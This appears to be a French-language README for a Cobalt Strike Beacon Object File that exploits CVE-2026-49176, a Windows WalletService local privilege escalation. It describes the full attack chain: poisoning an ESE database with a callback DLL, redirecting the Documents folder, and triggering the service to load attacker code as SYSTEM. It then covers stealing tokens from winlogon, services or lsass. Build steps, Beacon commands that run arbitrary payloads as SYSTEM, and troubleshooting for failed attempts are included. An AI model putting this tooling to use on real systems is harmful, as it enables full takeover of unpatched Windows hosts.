CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) pour l'élévation de privilèges locale via le WalletService Windows (CVE-2026-49176, corrigé en juillet 2026).

Depuis un Beacon à intégrité moyenne (utilisateur standard), cet outil prépare une base de données ESE Wallet malveillante, redirige Documents, déclenche WalletService, et exécute une ligne de commande spécifiée par l'appelant en tant que NT AUTHORITY\SYSTEM sur le bureau interactif.

Arborescence BOF uniquement.
PoC PowerShell autonome d'origine : DavidCarliez/CVE-2026-49176_LPE_POC. Même cause racine de vulnérabilité ; livraison et lancement du processus post-SYSTEM différents.

Disclaimer

Réservé à la recherche en sécurité autorisée, à l'éducation et à la validation défensive.

Vulnérabilité (partagée avec le PoC d'origine)

WalletService résout FOLDERID_Documents en empruntant l'identité de l'appelant, puis revient à LocalSystem avant d'ouvrir :

<Documents>\Wallet\wallet.db

Un utilisateur standard peut initialiser cette base de données avec un rappel par défaut défini par l'utilisateur ESE (PATH\payload.dll!Export), pointer Documents vers un répertoire contrôlé, et appeler WinRT WalletManager.RequestStoreAsync / GetItemsAsync afin que le service charge la DLL en tant que SYSTEM.

Analyse : CVE-2026-49176 Exploit Development: WalletService to SYSTEM

BOF vs PoC d'origine — chaîne d'élévation de privilèges

Identique : comment l'exécution de code SYSTEM est obtenue

Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Étape	PoC d'origine	Ce BOF
Initialiser la base ESE	`wallet_ese_seed.exe`	In-BOF `Jet*A`
Rediriger Documents	`documents_path.exe`	In-BOF `SHGet/SetKnownFolderPath`
Déclencher Wallet	PowerShell WinRT	In-BOF `RoGetActivationFactory`
DLL de rappel	`wallet_callback_shell.dll`	`wallet_callback.dll`

Différent : processus SYSTEM interactif après le rappel

WalletService utilise souvent un jeton SYSTEM filtré (pas de SeAssignPrimaryToken / SeImpersonate utilisable). CreateProcess* direct → 1314.

	PoC d'origine	Ce BOF
Processus cible	`cmd.exe` codé en dur	Ligne de commande fournie par l'opérateur
Méthode principale	Service temporaire → `shell_broker.exe` → `CreateProcessAsUserW`	Vol de jeton depuis `winlogon` / `services` / `lsass` → spawn
Repli	Aucun	SCM + `cmd.exe /c "shell_broker.exe" "result.txt"`

Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Fonctionnalités

Commande Beacon unique pour n'importe quelle commande/fichier en tant que SYSTEM sur le bureau actif
Chaîne complète en un seul processus : préparation → initialisation → redirection → déclenchement → attente → restauration de Documents
Embarque wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
Spawn post-SYSTEM multi-stratégie + diagnostics result.txt
x64 uniquement

Exigences

Élément	Exigence
Beacon	x64, intégrité moyenne (non élevée)
Cible	WalletService vulnérable (antérieur au correctif de juillet 2026)
CS	Cobalt Strike 4.x avec prise en charge BOF
Compilation	VS 2019/2022 C++ + SDK Windows 10 (`esent.h`, WinRT)

Arborescence

bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Compilation

cd bof
build.bat

Commande	Sortie
`build.bat` / `build.bat both`	DLL + broker + BOF x64
`build.bat payload`	DLL + broker uniquement
`build.bat clean`	Supprimer les artefacts

bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Modifiez les chemins VCVARS64 dans build.bat si VS n'est pas installé par défaut.
Indicateurs critiques : /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sécurité de l'éditeur de liens CS BOF).

Utilisation

Chargement

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Rechargez après chaque recompilation.)

Commandes

beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt

Pas de guillemets externes si le chemin ne contient pas d'espaces.
Menu optionnel : Beacon → CVE-2026-49176 → Run command as SYSTEM...

Préparation sur la cible

%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Empaquetage

bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Sortie attendue

Ligne de tâche

[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Succès (illustratif)

[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= peut être winlogon, services, lsass, ou un chemin de broker.

Échecs courants

Journal	Signification
`JetAddColumn: -1003`	Problème de paramètre ESE
`error=1314`	SYSTEM filtré ; nécessite vol de jeton / broker
`STEAL_FAIL error=5`	Impossible d'ouvrir le processus/jeton cible
`StartService error=32`	Violation de partage (atténuée via wrapper cmd)
`detail=all_methods`	Toutes les stratégies post-SYSTEM ont échoué
Linker `Unknown symbol '??_C@_...'`	Mauvais indicateurs de compilation BOF ; recompilez avec `build.bat`

Documents est restauré même en cas d'échec lorsque la redirection a réussi.

Architecture

cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

CVE-2026-49176_BOF

Populaires